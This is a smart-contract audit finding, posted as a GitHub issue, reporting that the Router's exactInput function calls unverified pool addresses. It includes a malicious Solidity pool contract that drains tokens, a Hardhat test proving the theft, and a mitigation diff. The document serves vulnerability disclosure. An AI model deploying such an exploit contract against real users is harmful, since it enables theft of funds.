Lines of code
<https://github.com/code-423n4/2022-12-Stealth-Project/blob/fc8589d7d8c1d8488fd97ccc46e1ff11c8426ac2/router-v1/contracts/Router.sol#L128&gt;

Vulnerability details

Impact

Users can lose funds during swapping.

Proof of Concept

The Router contract is a higher level contract that will be used by the majority of the users. The contract implements the exactInput functions that users call to perform multiple swaps in a single transaction. The key argument of the function is the path: an encoded list of “input token, pool address, output token” tuples that defines the series of swaps to be made by the function. On every iteration, the exactInput function extracts next tuple from the path and calls the extracted pool address to perform a swap (Router.sol#L149-L154, Router.sol#L128):

params.amountIn = exactInputInternal(
    params.amountIn,
    stillMultiPoolSwap ? address(this) : params.recipient,
    0,
    SwapCallbackData({path: params.path.getFirstPool(), payer: payer, exactOutput: false})
);


(, amountOut) = pool.swap(recipient, amountIn, tokenAIn, false, sqrtPriceLimitD18, abi.encode(data));

However, the pool address is not verified before being called. An attacker may trick a user into calling exactInput with a malicious contract as a pool and steal user’s funds. Despite the requirement to force a user to sign a transaction, the difficulty of this attack is low for several reasons:

1. The path argument is always built by a front-end applications: users never fill it manually and have to trust front ends to properly fill the path for them. For example, Uniswap implements a complex router that builds optimized paths. It’s expected that the audited project will also implement a similar router, and the users will always use the paths generated by the router without checking them.
   Moreover, the path argument is encoded as a byte array, which makes it hard to read and verify in a wallet.
2. The attack is performed by the official Router contract: users may have it added to the list of known contracts (a feature supported by MetaMask) and execute a transaction from a malicious front-end application thinking that, since the official Router contract is called, they’re safe.

An example of a malicious pool contract:

// router-v1/contracts/audit/AuditSwapExploit.sol
// SPDX-License-Identifier: unlicensed
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../interfaces/IRouter.sol";

contract AuditSwapExploit {
  address tokenAddress;

  constructor(address tokenAddress_) {
    tokenAddress = tokenAddress_;
  }

  function swap(address /*recipient*/, uint256 amount, bool /*tokenAIn*/, bool /*exactOutput*/, uint256 /*sqrtPriceLimit*/, bytes calldata /*data*/) external returns (uint256 amountIn, uint256 amountOut) {
    IRouter(msg.sender).sweepToken(IERC20(tokenAddress), 0, address(this));

    amountIn = amount;
    amountOut = type(uint256).max;
  }
}

A coded proof of concept that demonstrates an attack using the above contract:

// router-v1/test/Router.ts
//   describe("#swap exact in", () => {
it("allows to steal funds [AUDIT]", async () => {
  let poolWETHB: string = await getEthBPool(0.05, 2);

  // Deploying a exploit.
  const factory = await ethers.getContractFactory("AuditSwapExploit", {});
  const exploit = await factory.deploy(tokenB.address);
  await exploit.deployed();

  const preExploitBalance = await balances(exploit.address);
  const preOwnerBalance = await balances(await owner.getAddress());

  // The attacker injects their exploit in the path.
  let path = encodePath([
    weth9.address,
    poolWETHB,
    tokenB.address,
    exploit.address,
    tokenA.address,
  ]);
  await router.exactInput({
    path: path,
    recipient: await owner.getAddress(),
    deadline: maxDeadline,
    amountIn: floatToFixed(1),
    amountOutMinimum: 0
  });

  const postExploitBalance = await balances(exploit.address);
  const postOwnerBalance = await balances(await owner.getAddress());

  // User has spent WETH...
  expect(postOwnerBalance.weth9 - preOwnerBalance.weth9).to.eq(-1);

  // ... but hasn't received any tokens.
  expect(postOwnerBalance.tokenA - preOwnerBalance.tokenA).to.eq(0);
  expect(postOwnerBalance.tokenB - preOwnerBalance.tokenB).to.eq(0);

  // The exploit contract has received token B.
  expect(postExploitBalance.tokenA - preExploitBalance.tokenA).to.eq(0);
  expect(postExploitBalance.tokenB - preExploitBalance.tokenB).to.eq(0.817728003274796);
});

Tools Used

Manual review

Recommended Mitigation Steps

Consider always checking that pools being called in the Router were created through the Factory:

--- a/router-v1/contracts/Router.sol
+++ b/router-v1/contracts/Router.sol
@@ -125,6 +125,7 @@ contract Router is IRouter, Multicall, SelfPermit, Deadline {

         bool tokenAIn = tokenIn < tokenOut;

+        require(factory.isFactoryPool(IPool(pool)), "Unsupported pool");
         (, amountOut) = pool.swap(recipient, amountIn, tokenAIn, false, sqrtPriceLimitD18, abi.encode(data));
     }

---

The text was updated successfully, but these errors were encountered:

👀 2 hansfriese and peritoflores reacted with eyes emoji

All reactions

• 👀 2 reactions